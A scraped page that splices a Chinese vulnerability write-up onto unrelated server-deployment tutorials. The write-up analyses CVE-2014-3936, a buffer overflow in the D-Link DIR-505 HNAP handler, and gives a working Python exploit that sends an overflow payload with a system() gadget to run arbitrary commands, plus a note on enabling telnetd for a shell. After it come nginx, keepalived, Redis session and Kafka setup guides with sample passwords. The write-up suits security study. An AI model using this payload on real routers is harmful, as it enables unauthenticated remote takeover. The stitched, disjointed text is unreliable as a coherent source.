整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

CVE-2014-3936 dir-505 数组越界缓冲区溢出

洞分析

CVE-2014-3936 是发生在 dlink 旗下路由器 dir-505 的缓冲区溢出漏洞,漏洞存在于固件版本 1.07 及以前的 HNAP 处理程序中,漏洞发生在 HNAP 处理请求的时候,将 CONTENT_LENGTH 大小的数据直接复制到了缓冲区中,如果 CONTENT_LENGTH 大小超过了缓冲区大小,就会导致缓冲区溢出,进而实现代码执行。总之,是一个数组越界导致缓冲区溢出的漏洞。

此次漏洞分析采用的是 dir-505 固件版本 1.07,漏洞下载地址见参考链接。通过分析固件的文件系统,可以知道服务器采用的是 lighttpd 作为后端,lighttpd 也是嵌入式设备经常使用的一个小型 http server。发生漏洞的程序是 ./usr/bin/my_cgi.cgi,使用的是 fastcgi 调用过程,当收到 uri 为 HNAP1 的数据包时,会将数据包通过环境变量和标准输入 STDIN 传给 my_cgi.cgi 进行处理。

漏洞发生的位置是在 main -> do_hnap 函数中,do_hnap 函数在从环境变量中读取数据的时候,先读取数据包长度 CONTENT_LENGTH,然后根据其大小,通过一个循环,从标准输入中每次读取一个字节放在函数栈上的缓冲区中。如果 CONTENT_LENGTH 过大,就会导致缓冲区溢出,实际上就是数据包的数据够多,就会发生缓冲区溢出。IDA 中反编译的关键流程如下:

int do_hnap() 
{  
  dec_content_length = 0;
  content_length = getenv("CONTENT_LENGTH");    // 从环境变量获取 CONTENT_LENGTH
  if ( content_length )
    dec_content_length = strtol(content_length, 0, 10); // 将 CONTENT_LENGTH 转化为 10 进制
  ...
  if ( dec_content_length > 0 )
  {
    loop_pointer = v12;                         // 指向 buf 的起始位置
    end_of_buf = &v12[dec_content_length];      // 指向 buf 的结束位置
    memset(v12, 0, sizeof(v12));                // 对 buf 清零
    while ( stdin->_fileno )
    {
      v6 = stdin->_IO_write_base;
      if ( v6 >= stdin->_IO_write_end )
      {
        v8 = (int (**)(FILE *))&_fgetc_unlocked;// v8 实际上是一个函数指针
LABEL_21:
        v7 = ((int (*)(void))v8)();             // 调用 fgetc
        goto LABEL_22;
      }
      v7 = *v6;
      stdin->_IO_write_base = v6 + 1;
LABEL_22:
      *loop_pointer++ = v7;                     // 将 fgetc 读取到的字符写入到 buf
      if ( loop_pointer == end_of_buf )            // 结束从 STDIN 中读取
      {
        ...
      }
    }
    v8 = &fgetc;

在 do_hnap 函数中,函数执行完毕后的返回地址在初始化堆栈的时候存放在 sp + 0x7574,缓冲区的起始地址是 sp + 0x30,那么一共需要 30020 个字节使缓冲区溢出,再额外溢出 4 个字节就可以修改保存再堆上的返回地址,最后 do_hnap 函数执行完毕将返回地址从栈中取出到 ra 寄存器然后跳转,就可以达到劫持控制流的目的。缓冲区的起始地址可以从 IDA 直接反编译得到。

.text:00430DBC sw      $ra, 0x7560+var_s14($sp)    # 保存返回地址到栈上
...
.text:00431168 lw      $ra, 0x7574($sp)    # 从栈上恢复返回地址跳转执行
...
.text:00431184 jr      $ra
.text:00431188 addiu   $sp, 0x7578

环境搭建

后端的 server 是 lighttpd,一开始没有在固件根目录下面找到 html 文件,在 cq 师傅的提醒下,先分析系统的启动脚本 ./etc/rc.d/rcS。在启动脚本中,挂载一些设备和创建相关目录,然后是系统初始化程序 system_manager 运行,在其中也会通过 system 函数执行一些命令。如下是系统初始化脚本。

#!/bin/ash

# This script runs when init it run during the boot process.
# Mounts everything in the fstab
mount -a
mount -o remount +w /

# Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp

# 此处会覆盖掉原来的 etc 目录
# copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc

ln -sf /etc/hotplug/hotplug /sbin/hotplug

mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var

# 系统初始化程序
#/bin/echo "Init System..."
system_manager &

#/bin/echo "Start tftpd..."
tftpd &

将系统初始化程序 system_manager 放入 IDA 分析,在 main -> init_system -> init_web_server -> init_html_files 中可以看到是如何将原本存放在 mnt 目录下的 html 文件解压出来的,那我们在启动 lighttpd 之前就可以手动执行相关的命令,将 html 文件准备好。

int init_html_files()
{
  system("tar -zxf /etc/www.tgz");
  system("rm -f /etc/www.tgz");
  if ( !byte_416321 )
    system("mv /www/ap/* /www");
  system("rm -rf /www/ap");
  if ( byte_416321 == 2 )
    system("mv /www/rt/* /www");
  system("rm -rf /www/rt");
  if ( byte_416321 == 3 )
    system("mv /www/rpt/* /www");
  system("rm -rf /www/rpt");
  if ( byte_416321 == 4 )
    system("mv /www/whp/* /www");
  system("rm -rf /www/whp");
  system("cp -f /usr/bin/my_cgi.cgi /www");
  copy_default_xml();
  return read_lang_from_flash();
}

最后是看 system_manager 是如何启动 lighttpd 的,可以在 IDA 中直接搜索字符串 lighttpd,定位到 init_web_server 函数中,然后分析 system 函数传入的参数,就可以得到 lighttpd 的启动命令 lighttpd -f /etc/lighttpd/lighttpd.conf。此处如果直接 F5 的话,分析得到的 system 传入命令不完整。

.text:00403C00 addiu   $a0, (aLighttpdFS - 0x400000)  # "lighttpd -f %s &"
.text:00403C04 addiu   $a1, (aEtcLighttpdLig_0 - 0x400000)  # "/etc/lighttpd/lighttpd.conf"
.text:00403C08 jr      $t9 ; _system
.text:00403C0C addiu   $sp, 0x20

以上是分析工作,实际上真正启动服务器,可以先直接执行启动脚本 ./etc/rc.d/rcS,执行完之后,./etc 目录被原本 ./mnt 中的文件替代了,html 文件被解压出来放在了 ./www 文件夹中。运行如下命令,就可以启动 http 服务了。

# 进入固件根目录
chroot . ./etc/rc.d/rcS
# 再执行一遍 system_manager 这个地方会卡住 因为有些 /dev 没有被挂载,例如 nvram
chroot . ./usr/bin/system_manager
# 启动 lighttpd,-D 不进入后台运行
chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D

漏洞复现

上述的环境搭建其实是不完善的,例如登录操作这种需要 nvram 的根本执行不了,好在这次漏洞是一个无需认证的漏洞。我没有找到在 lighttpd 中是怎么调用的 my_cgi.cgi,那就直接调试 cgi,通过环境变量传入数据进行调试。

幸运的是,可以直接使用 QEMU 进行调试这个漏洞,漏洞的触发过程也不涉及到额外的 patch 工作。首先分析如何才能使代码执行到 do_hnap 函数中存在漏洞的代码处。在 main 函数中,需要设置环境变量 SCRIPT_NAME = HNAP1,使之进入 do_hnap 函数,然后设置环境变量 SOAP_ACTION != (Reboot | SetRouterLanSettings | SetWLanRadioSecurity | SetWLanRadioSettings),也就是不等于以上四者。最后设置环境变量 CONTENT_LENGTH 控制从标准输入读入到缓冲区的字节数目。

触发漏洞的调试脚本如下,补充说明一下需要将 qemu-mips-static 程序复制到固件的根目录下,这样 chroot 的时候才可以正确使用 qemu-mips-static 进行调试。

# sudo ./debug_mycgi.sh
#!/bin/bash

export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30028"

STDIN=`python -c "print 'A'*30020 + 'deadbeef'"`
echo "$STDIN" | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi

路由器上的程序安全措施通常非常简单,没有 NX 也没有 PIE,此处就直接使用 ret2syscall 来达到命令执行的操作,在 IDA 中使用 mipsrop 插件搜索合适的 gadget,决定使用 0x00405C5C 处。

.text:00405C5C la      $t9, system
.text:00405C60 li      $s1, loc_430000
.text:00405C64 jalr    $t9 ; system
.text:00405C68 addiu   $a0, $sp, 0x64+var_3C  # command

当劫持了控制流执行到 gadget,堆栈已经从 do_hnap 函数中恢复了平衡,通过计算,system 函数执行的命令保存在相对于 buf 30064 个字节处,总结就是:buf 写入 30020 个字节之后可以覆盖返回地址到 gadget 0x00405c5c,再写入 40 个字节可以写入 system 函数执行的命令,那么先用 python 脚本写入一个 stdin 文件,然后在调试脚本中通过 cat 输出文件内容,通过管道传递给 qemu

# python poc.py
cmd = b'touch test\x00'
with open('./stdin', 'wb') as f:
    poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
    f.write(poc)
# sudo ./debug_mycgi.sh
#!/bin/bash

export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30080"

cat ./stdin | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi

使用 gdb-multiarch 连接上 target remote :12345,然后在 do_hnap 函数恢复返回地址到 ra 寄存器处下断点 b *0x431168,可以看到执行完当前指令后,ra 被写入为 gadget 地址 0x405c5c

继续单步调试到执行 gadget,调用 system 函数,执行的命令保存在 sp + 0x28 处。

可以看到成功命令执行,创建了 test 文件

漏洞利用

如上的漏洞复现调试是针对与 my_cgi.cgi,而真实运行环境是通过 lighttpd 服务器接受用户发送请求数据包,然后将数据通过环境变量以及 STDIN 传递给 my_cgi.cgi 进行处理,漏洞发生也是在这个地方,那么漏洞利用需要构造数据包向 lighttpd 传递。初次之外,还需要看固件支持哪些命令,例如此处的 busybox 支持的命令如下:

BusyBox v1.01 (2013.05.23-09:13+0000) multi-call binary

Usage: busybox [function] [arguments]...
   or: [function] [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  Most people will create a
        link to busybox for each function they wish to use and BusyBox
        will act like whatever it was invoked as!

Currently defined functions:
        [, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd,
        df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep,
        head, hostname, ifconfig, init, insmod, kill, killall, klogd,
        linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir,
        mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed,
        sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty,
        umount, uname, vconfig, vi, wc, wget, xargs, zcip

那么简洁版的 exp 如下,执行结果是直接写回了到返回数据包中。

import requests
cmd = b'ls -l\x00'
poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc)
print(res)

通过 busybox 支持的命令也可以看到,有 telnetd,如果在实体机上要获取到一个可交互的 shell,那么可以开启设备的 telnet 服务。

个人小结

如下是个人觉得可以加深对于程序执行流程理解的一些点:

  • do_hnap 函数中循环的控制及 MIPS 架构 s 系列寄存器的用法寄存器 s0~s7 通常是用来在子函数内部使用,如果在子函数内部还需要调用函数,那么需要将这些寄存器的值保存在栈上,执行完调用函数后进行恢复。例如 s0~s7 在 main 函数中使用,当 main 函数调用 do_hnap 的时候,在 do_hnap 函数的初始化堆栈时,将寄存器保存到了栈上。因此,我们在缓冲区溢出的时候,有时候不止可以控制 ra 寄存器,还可以控制 s 系列寄存器。# do_hnap 函数初始化过程 .text:00430DAC li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .) .text:00430DB4 addu $gp, $t9 .text:00430DB8 addiu $sp, -0x7578 .text:00430DBC sw $ra, 0x7560+var_s14($sp) .text:00430DC0 sw $s4, 0x7560+var_s10($sp) .text:00430DC4 sw $s3, 0x7560+var_sC($sp) .text:00430DC8 sw $s2, 0x7560+var_s8($sp) .text:00430DCC sw $s1, 0x7560+var_s4($sp) .text:00430DD0 sw $s0, 0x7560+var_s0($sp) ... # do_hnap 函数执行完毕 .text:00431168 lw $ra, 0x7574($sp) .text:0043116C move $v0, $s0 .text:00431170 lw $s4, 0x7570($sp) .text:00431174 lw $s3, 0x756C($sp) .text:00431178 lw $s2, 0x7568($sp) .text:0043117C lw $s1, 0x7564($sp) .text:00431180 lw $s0, 0x7560($sp) .text:00431184 jr $ra .text:00431188 addiu $sp, 0x7578 那么现在回归正题,do_hnap 函数是使用的 s0 指向 buf 的起始地址,s1 指向 buf 的结束位置,s3 指向标准输入的起始地址。循环的结构使用 IDA 的控制流图看的话,就非常简介明了。s0 先指向 buf 起始地址,每次调用 fgetc 读取一个字符保存到 s0,然后 s0 自加指向下一个位置,直到 s0 指向结束地址。.text:00430F9C la $s3, stdin # 标准输入存储在 s3 寄存器 .text:00430FA0 move $s0, $a0 # s0:指针指向 buf 的起始位置 .text:00430FA4 addu $s1, $a0, $s1 # s1:指针指向 buf 的结束位置 ... .text:00431010 sb $v0, 0($s0) # 将从 fgetc 读取到的字符存储到缓冲区 .text:00431014 addiu $s0, 1 # s0 移动到缓冲区下一个位置 .text:00431018 bne $s0, $s1, loc_430FB4 # 比较进行跳转
  • 关于 server 的启动命令分析可以分析固件文件系统的初始化启动脚本,通常在 /etc/rc* 文件或者目录下,就可以得到设备启动时执行了哪些初始化工作,例如挂载设备、创建文件等等。此处还有解压 html 文件,应该为了节省设备的存储空间,第一次启动的时候进行解压。
  • 关于漏洞利用执行结果回显如果设备固件中带有一些可以进行交互的程序例如 sshd、telnetd 等服务,那么命令执行可以通过这些程序直接获取到一个可交互的 shell,如果没有,可以考虑把执行结果写回到设备的 www 目录中的文件,通过 http 服务访问命令执行结果。

参考链接

  • [exploit.db] D-Link HNAP – Request Remote Buffer Overflow (Metasploit)
  • Hacking the D-Link DSP-W215 Smart Plug
  • [固件下载] DIR-505_REVA_FIRMWARE_1.07.ZIP]

本文由OneShell原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/261344
安全客 - 有思想的安全新媒体

inux操作nginx

Nginx是一款轻量级的网页服务器、反向代理服务器。相较于Apache、lighttpd具有占有内存少,稳定性高等优势。它最常的用途是提供反向代理服务。

linux安装

在Centos下,yum源不提供nginx的安装,可以通过切换yum源的方法获取安装。也可以通过直接下载安装包的方法,以下命令均需root权限执行:

首先安装必要的库(nginx 中gzip模块需要 zlib 库,rewrite模块需要 pcre 库,ssl 功能需要openssl库)。选定/usr/local为安装目录,以下具体版本号根据实际改变。

安装PCRE库

$ cd /usr/local/

$ wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.36.tar.gz

$ tar -zxvf pcre-8.36.tar.gz

$ cd pcre-8.36

$ ./configure

$ make

$ make install

./configure报错

configure: error: You need a C++ compiler for C++ support.

解决办法

yum install -y gcc gcc-c++

安装zlib库

$ cd /usr/local/

$ wget http://zlib.net/zlib-1.2.8.tar.gz

$ tar -zxvf zlib-1.2.8.tar.gz

$ cd zlib-1.2.8

$ ./configure

$ make

$ make install

安装ssl

$ cd /usr/local/

$ wget http://www.openssl.org/source/openssl-1.0.1j.tar.gz

$ tar -zxvf openssl-1.0.1j.tar.gz

$ ./config

$ make

$ make install

安装nginx

$ cd /usr/local/

$ wget http://nginx.org/download/nginx-1.8.0.tar.gz

$ tar -zxvf nginx-1.8.0.tar.gz

$ cd nginx-1.8.0

$ ./configure --prefix=/usr/local/nginx

$ make

$ make install

安装常见错误:

Nginx启动提示找不到libpcre.so.1解决方法

如果是32位系统

[root@lee ~]# ln -s /usr/local/lib/libpcre.so.1 /lib

如果是64位系统

[root@lee ~]# ln -s /usr/local/lib/libpcre.so.1 /lib64

然后在启动nginx就OK了

[root@lee ~]# /usr/local/webserver/nginx/sbin/nginx

启动nginx

$ /usr/local/nginx/sbin/nginx

检查是否启动成功:打开浏览器访问此机器的 IP,如果浏览器出现 Welcome to nginx! 则表示 Nginx 已经安装并运行成功。

常用命令

重启:

$ /usr/local/nginx/sbin/nginx 启动命令

重启:

$ /usr/local/nginx/sbin/nginx –s reload

停止:

$ /usr/local/nginx/sbin/nginx –s stop

测试配置文件是否正常:

$ /usr/local/nginx/sbin/nginx –t

强制关闭:

$ pkill nginx

启动Nginx + Keepalived高可用

什么是Keepalived

Keepalived是一个免费开源的,用C编写的类似于layer3, 4 & 7交换机制软件,具备我们平时说的第3层、第4层和第7层交换机的功能。主要提供loadbalancing(负载均衡)和 high-availability(高可用)功能,负载均衡实现需要依赖Linux的虚拟服务内核模块(ipvs),而高可用是通过VRRP协议实现多台机器之间的故障转移服务。

上图是Keepalived的功能体系结构,大致分两层:用户空间(user space)和内核空间(kernel space)。

内核空间:主要包括IPVS(IP虚拟服务器,用于实现网络服务的负载均衡)和NETLINK(提供高级路由及其他相关的网络功能)两个部份。

用户空间

  • WatchDog:负载监控checkers和VRRP进程的状况
  • VRRP Stack:负载负载均衡器之间的失败切换FailOver,如果只用一个负载均稀器,则VRRP不是必须的。
  • Checkers:负责真实服务器的健康检查healthchecking,是keepalived最主要的功能。换言之,可以没有VRRP Stack,但健康检查healthchecking是一定要有的。
  • IPVS wrapper:用户发送设定的规则到内核ipvs代码
  • Netlink Reflector:用来设定vrrp的vip地址等。

Keepalived的所有功能是配置keepalived.conf文件来实现的。

安装keepalived

下载keepalived地址:http://www.keepalived.org/download.html

解压安装:

tar -zxvf keepalived-1.2.18.tar.gz -C /usr/local/

yum install -y openssl openssl-devel(需要安装一个软件包)

cd keepalived-1.2.18/ && ./configure --prefix=/usr/local/keepalived

make && make install

keepalived安装成Linux系统服务

将keepalived安装成Linux系统服务,因为没有使用keepalived的默认安装路径(默认路径:/usr/local),安装完成之后,需要做一些修改工作:

首先创建文件夹,将keepalived配置文件进行复制:

mkdir /etc/keepalived

cp /usr/local/keepalived/etc/keepalived/keepalived.conf /etc/keepalived/

然后复制keepalived脚本文件:

cp /usr/local/keepalived/etc/rc.d/init.d/keepalived /etc/init.d/

cp /usr/local/keepalived/etc/sysconfig/keepalived /etc/sysconfig/

ln -s /usr/local/sbin/keepalived /usr/sbin/

ln -s /usr/local/keepalived/sbin/keepalived /sbin/

可以设置开机启动:chkconfig keepalived on,到此我们安装完毕!

keepalived 常用命令

service keepalived start

service keepalived stop

配置nginx主备自动重启

第三步:对配置文件进行修改:vim /etc/keepalived/keepalived.conf

keepalived.conf配置文件说明:

(一)Master

! Configuration File for keepalived

global_defs {

router_id bhz005 ##标识节点的字符串,通常为hostname

}

## keepalived 会定时执行脚本并且对脚本的执行结果进行分析,动态调整vrrp_instance的优先级。这里的权重weight 是与下面的优先级priority有关,如果执行了一次检查脚本成功,则权重会-20,也就是由100 - 20 变成了80,Master 的优先级为80 就低于了Backup的优先级90,那么会进行自动的主备切换。

如果脚本执行结果为0并且weight配置的值大于0,则优先级会相应增加。

如果脚本执行结果不为0 并且weight配置的值小于0,则优先级会相应减少。

vrrp_script chk_nginx {

script "/etc/keepalived/nginx_check.sh" ##执行脚本位置

interval 2 ##检测时间间隔

weight -20 ## 如果条件成立则权重减20(-20)

}

## 定义虚拟路由 VI_1为自定义标识。

vrrp_instance VI_1 {

state MASTER ## 主节点为MASTER,备份节点为BACKUP

## 绑定虚拟IP的网络接口(网卡),与本机IP地址所在的网络接口相同(我这里是eth6)

interface eth6

virtual_router_id 172 ## 虚拟路由ID号

mcast_src_ip 192.168.1.172 ## 本机ip地址

priority 100 ##优先级配置(0-254的值)

Nopreempt ##

advert_int 1 ## 组播信息发送间隔,俩个节点必须配置一致,默认1s

authentication {

auth_type PASS

auth_pass bhz ## 真实生产环境下对密码进行匹配

}

track_script {

chk_nginx

}

virtual_ipaddress {

192.168.1.170 ## 虚拟ip(vip),可以指定多个

}

}

(二)Backup

! Configuration File for keepalived

global_defs {

router_id bhz006

}

vrrp_script chk_nginx {

script "/etc/keepalived/nginx_check.sh"

interval 2

weight -20

}

vrrp_instance VI_1 {

state BACKUP

interface eth7

virtual_router_id 173

mcast_src_ip 192.168.1.173

priority 90 ##优先级配置

advert_int 1

authentication {

auth_type PASS

auth_pass bhz

}

track_script {

chk_nginx

}

virtual_ipaddress {

192.168.1.170

}

}

(三)nginx_check.sh 脚本:

#!/bin/bash

A=`ps -C nginx –no-header |wc -l`

if [ $A -eq 0 ];then

/usr/local/nginx/sbin/nginx

sleep 2

if [ `ps -C nginx --no-header |wc -l` -eq 0 ];then

killall keepalived

fi

fi

(四)我们需要把master的keepalived配置文件 copy到master机器(172)的 /etc/keepalived/ 文件夹下,在把backup的keepalived配置文件copy到backup机器(173)的 /etc/keepalived/ 文件夹下,最后把nginx_check.sh脚本分别copy到两台机器的 /etc/keepalived/文件夹下。

(五)nginx_check.sh脚本授权。赋予可执行权限:chmod +x /etc/keepalived/nginx_check.sh

(六)启动2台机器的nginx之后。我们启动两台机器的keepalived

/usr/local/nginx/sbin/nginx

service keepalived start

ps -ef | grep nginx

ps -ef | grep keepalived

可以进行测试,首先看一下俩台机器的ip a 命令下 都会出现一个虚拟ip,我们可以停掉 一个机器的keepalived,然后测试,命令:service keepalived stop。结果发现当前停掉的机器已经不可用,keepalived会自动切换到另一台机器上。

(七)我们可以测试在nginx出现问题的情况下,实现切换,这个时候我们只需要把nginx的配置文件进行修改,让其变得不可用,然后强杀掉nginx进程即可,发现也会实现自动切换服务器节点。

自动重启不了,解决办法

查看脚本是否有运行的权限

如果你是root登陆的话(不是的话,切换到root用户,对*.sh赋可执行的权限)

chmod 777 *.sh 赋予权限

or

chmod +x *.sh

然后运行就OK了,即有权限对文件进行删除等操作。

nginx配置负载均衡

创建一个springboot项目 实现负载均衡

集群情况下Session共享解决方案

集群情况下session会产生什么原因?

因为Session存放在JVM内存中,集群的话多个JVM不会共享

Session共享解决方案

nginx或者haproxy做的负载均衡)

用Nginx 做的负载均衡可以添加ip_hash这个配置,

用haproxy做的负载均衡可以用 balance source这个配置。

从而使同一个ip的请求发到同一台服务器。

利用数据库同步session

利用cookie同步session数据原理图如下

缺点:安全性差、http请求都需要带参数增加了带宽消耗

使用Session集群存放Redis

创建一个springboot项目

引入maven依赖

<!--spring boot 与redis应用基本环境配置 -->

<dependency>

<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-starter-redis</artifactId>

</dependency>

<!--spring session 与redis应用基本环境配置,需要开启redis后才可以使用,不然启动Spring boot会报错 -->

<dependency>

<groupId>org.springframework.session</groupId>

<artifactId>spring-session-data-redis</artifactId>

</dependency>

创建SessionConfig

import org.springframework.beans.factory.annotation.Value;

import org.springframework.context.annotation.Bean;

import org.springframework.data.redis.connection.jedis.JedisConnectionFactory;

import org.springframework.session.data.redis.config.annotation.web.http.EnableRedisHttpSession;

//这个类用配置redis服务器的连接

//maxInactiveIntervalInSeconds为SpringSession的过期时间(单位:秒)

@EnableRedisHttpSession(maxInactiveIntervalInSeconds = 1800)

public class SessionConfig {

// 冒号后的值为没有配置文件时,制动装载的默认值

@Value("${redis.hostname:localhost}")

String HostName;

@Value("${redis.port:6379}")

int Port;

@Bean

public JedisConnectionFactory connectionFactory() {

JedisConnectionFactory connection = new JedisConnectionFactory();

connection.setPort(Port);

connection.setHostName(HostName);

return connection;

}

}

初始化Session

//初始化Session配置

public class SessionInitializer extends AbstractHttpSessionApplicationInitializer{

public SessionInitializer() {

super(SessionConfig.class);

}

}

配置文件

server.port=8080

spring.redis.database=0

spring.redis.host=192.168.110.185

spring.redis.port=6379

spring.redis.password=123456

spring.redis.pool.max-idle=8

spring.redis.pool.min-idle=0

spring.redis.pool.max-active=8

spring.redis.pool.max-wait=-1

spring.redis.timeout=5000

redis.hostname=192.168.110.185

redis.port=6379

redis.password=123456

控制器层代码

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpSession;

import org.springframework.beans.factory.annotation.Value;

import org.springframework.boot.SpringApplication;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.RestController;

@RestController

public class SessionController {

@Value("${server.port}")

private String PORT;

public static void main(String[] args) {

SpringApplication.run(SessionController.class, args);

}

@RequestMapping("/index")

public String index() {

return "index:" + PORT;

}

/**

*

* @methodDesc: 功能描述:(往session存放值)

* @param: @param

* httpSession

* @param: @param

* sessionKey

* @param: @param

* sessionValue

* @returnType:@param httpSession

* @returnType:@param sessionKey

* @returnType:@param sessionValue

* @returnType:@return String

*/

@RequestMapping("/setSession")

public String setSession(HttpServletRequest request, String sessionKey, String sessionValue) {

HttpSession session = request.getSession(true);

session.setAttribute(sessionKey, sessionValue);

return "success,port:" + PORT;

}

/**

*

* @methodDesc: 功能描述:(从Session获取值)

* @param: @param

* httpSession

* @param: @param

* sessionKey

* @returnType:@param httpSession

* @returnType:@param sessionKey

* @returnType:@return Strin

*/

@RequestMapping("/getSession")

public String getSession(HttpServletRequest request, String sessionKey) {

HttpSession session =null;

try {

session = request.getSession(false);

} catch (Exception e) {

e.printStackTrace();

}

String value=null;

if(session!=null){

value = (String) session.getAttribute(sessionKey);

}

return "sessionValue:" + value + ",port:" + PORT;

}

}

高并发解决方案

业务数据库 -》 数据水平分割(分区分表分库)、读写分离

业务应用 -》 逻辑代码优化(算法优化)、公共数据缓存

应用服务器 -》 反向静态代理、配置优化、负载均衡(apache分发,多tomcat实例)

系统环境 -》 JVM调优

页面优化 -》 减少页面连接数、页面尺寸瘦身

1、动态资源和静态资源分离;

2、CDN;

3、负载均衡;

4、分布式缓存;

5、数据库读写分离或数据切分(垂直或水平);

6、服务分布式部署。

、部署JDK

  1. 官网下载jdk版本

https://www.oracle.com/java/technologies/javase/jdk11-archive-downloads.html

  1. 解压安装
tar xzvf jdk-11.0.13_linux-x64_bin.tar.gz
  1. 配置环境变量

vi /etc/profile

export JAVA_HOME="/usr/local/jdk11.0.13"
export PATH="$JAVA_HOME/bin:$PATH"
export CLASSPATH=.:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar
source /etc/profile

二、部署Zookeeper集群

  1. 下载安装包

Zookeeper下载地址:

https://www.apache.org/dyn/closer.lua/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz

  1. 解压安装
tar xzvf apache-zookeeper-3.8.4-bin.tar.gz
  1. 修改配置文件

修改config/zoo.cfg

#修改数据存储目录 
dataDir=/data/zookeeper/data
 
#文件末尾追加配置内容,添加server端口传输
server.1=192.168.0.1:2888:3888
server.2=192.168.0.2:2888:3888
server.3=192.168.0.3:2888:3888
  1. 创建myid文件
  • 在每台服务器zookeeper的dataDir对应目录下创建 myid 文件,内容为对应ip的zookeeper服务器编号;
  • dataDir目录是你在zoo.cfg中配置的目录。内容是你在zoo.cfg中配置集群时server.后面的数字。
  • 添加 myid 文件时,一定要在 Linux 里面创建,不要 notepad++等工具里面创建后上传,因为可能会乱码。并且内容上下不要有空行,左右不要有空格。

第一台:

echo 1 > data/myid

第二台:

echo 2 > data/myid

第三台:

echo 3 > data/myid
  1. 启动Zookeeper服务
./bin/zkServer.sh start


三、部署Kafka集群

  1. 下载安装包

Kafka下载地址:https://downloads.apache.org/kafka/3.7.0/kafka_2.13-3.7.0.tgz

  1. 解压
tar xzvf kafka_2.13-3.7.0.tgz
  1. 修改配置文件

进入config目录,修改server.properties。这个配置文件里面的配置项非常多,下面列出几个要重点关注的配置

#broker 的全局唯一编号,不能重复,只能是数字。
broker.id=0
#数据文件地址。同样默认是给的/tmp目录。
log.dirs=/data/kafka/logs
#默认的每个Topic的分区数
num.partitions=1
#zookeeper的服务地址
zookeeper.connect=192.168.0.1:2181,192.168.0.2:2181,
listeners=PLAINTEXT://192.168.0.1:9092

broker.id需要每个服务器上不一样,分发到其他服务器上时,要注意修改一下,比如第一台是0,第二台就是1,第三台的配置就是2。
当多个Kafka服务注册到同一个zookeeper集群上的节点,会自动组成集群。

  1. 启动kafka集群
cd /data/kafka
./bin/kafka-server-start.sh -daemon config/server.properties
  1. 测试

1)创建topic

./bin/kafka-topics.sh --create --bootstrap-server 192.168.0.1:9092 \
  --replication-factor 3 --partitions 2 --topic testTopic

2) 查看topic

./bin/kafka-topics.sh --bootstrap-server 192.168.0.1:9092 --list

3) 向topic发送消息

./bin/kafka-console-producer.sh --bootstrap-server 192.168.0.1:9092 \
  --topic testTopic

4) 消费消息